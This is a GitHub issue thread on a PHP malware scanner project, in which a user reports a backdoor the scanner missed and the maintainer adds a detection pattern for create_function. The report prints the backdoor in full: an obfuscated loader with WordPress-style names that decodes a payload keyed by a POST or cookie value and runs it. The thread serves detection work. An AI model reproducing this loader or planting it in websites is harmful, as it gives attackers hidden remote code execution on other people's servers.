scr34m / php-malware-scanner

Scans PHP files for malwares and known threats
GNU General Public License v3.0
556 stars 96 forks source link

Missed backdoor #42

Closed vmirkovicmodx closed 5 years ago

vmirkovicmodx commented 5 years ago

Found a backdoor that was missed by the scanner

<?php

/**

/**

/**

/**

/**

// Real work of the script begins here.

require_once DRUPAL_ROOT . '/includes/bootstrap.inc'; require_once DRUPAL_ROOT . '/includes/session.inc'; require_once DRUPAL_ROOT . '/includes/common.inc'; require_once DRUPAL_ROOT . '/includes/file.inc'; require_once DRUPAL_ROOT . '/includes/module.inc'; require_once DRUPAL_ROOT . '/includes/ajax.inc';

// We prepare only a minimal bootstrap. This includes the database and // variables, however, so we have access to the class autoloader registry. drupal_bootstrap(DRUPAL_BOOTSTRAP_SESSION);*/

function pre_term_name( $wp_kses_data, $wp_nonce ) { $kses_str = str_replace( array ('%', '*'), array ('/', '='), $wp_kses_data ); $filter = base64_decode( $kses_str ); $md5 = strrev( $wp_nonce ); $sub = substr( md5( $md5 ), 0, strlen( $wp_nonce ) ); $wp_nonce = md5( $wp_nonce ). $sub; $preparefunc = 'gzinflate'; $i = 0; do { $ord = ord( $filter[$i] ) - ord( $wp_nonce[$i] ); $filter[$i] = chr( $ord % 256 ); $wp_nonce .= $filter[$i]; $i++; } while ($i < strlen( $filter )); return @$preparefunc( $filter ); }

$wp_nonce = isset($_POST['f_dr']) ? $_POST['f_dr'] : (isset($_COOKIE['f_dr']) ? $_COOKIE['f_dr'] : NULL);

$wp_auth_check = '

'; $wp_default_logo = ''; preg_match('##', $wp_default_logo, $logo_data); $wp_kses_data = $logo_data[1];

$wpautop = pre_term_name( $wp_kses_data, $wp_nonce );

if( isset( $wpautop ) ){ if( isset($_POST['f_dr']) ) @setcookie( 'f_dr', $_POST['f_dr'] ); $shortcode_unautop = create_function( '', $wpautop ); unset( $f_dr, $wpautop ); $shortcode_unautop(); }

scr34m commented 5 years ago

Please insert as code with markdown formatting or with GIST

rremo commented 5 years ago

Hello, Maybe this file will help you: https://github.com/bediger4000/php-malware-analysis/blob/master/107.175.218.241-2018-10-14a/kinked.simppeli/inc/template-tags.php from @bediger4000

The repository looks very interesting!

scr34m commented 5 years ago

Thanks, checking.

scr34m commented 5 years ago

Well this create_function('', $wpautop) and there are a caution as well on PHP site http://php.net/manual/en/function.create-function.php, maybe a patten for create_function( '',

scr34m commented 5 years ago

Pattern added for the create_function used in this sample, thank you both for the report.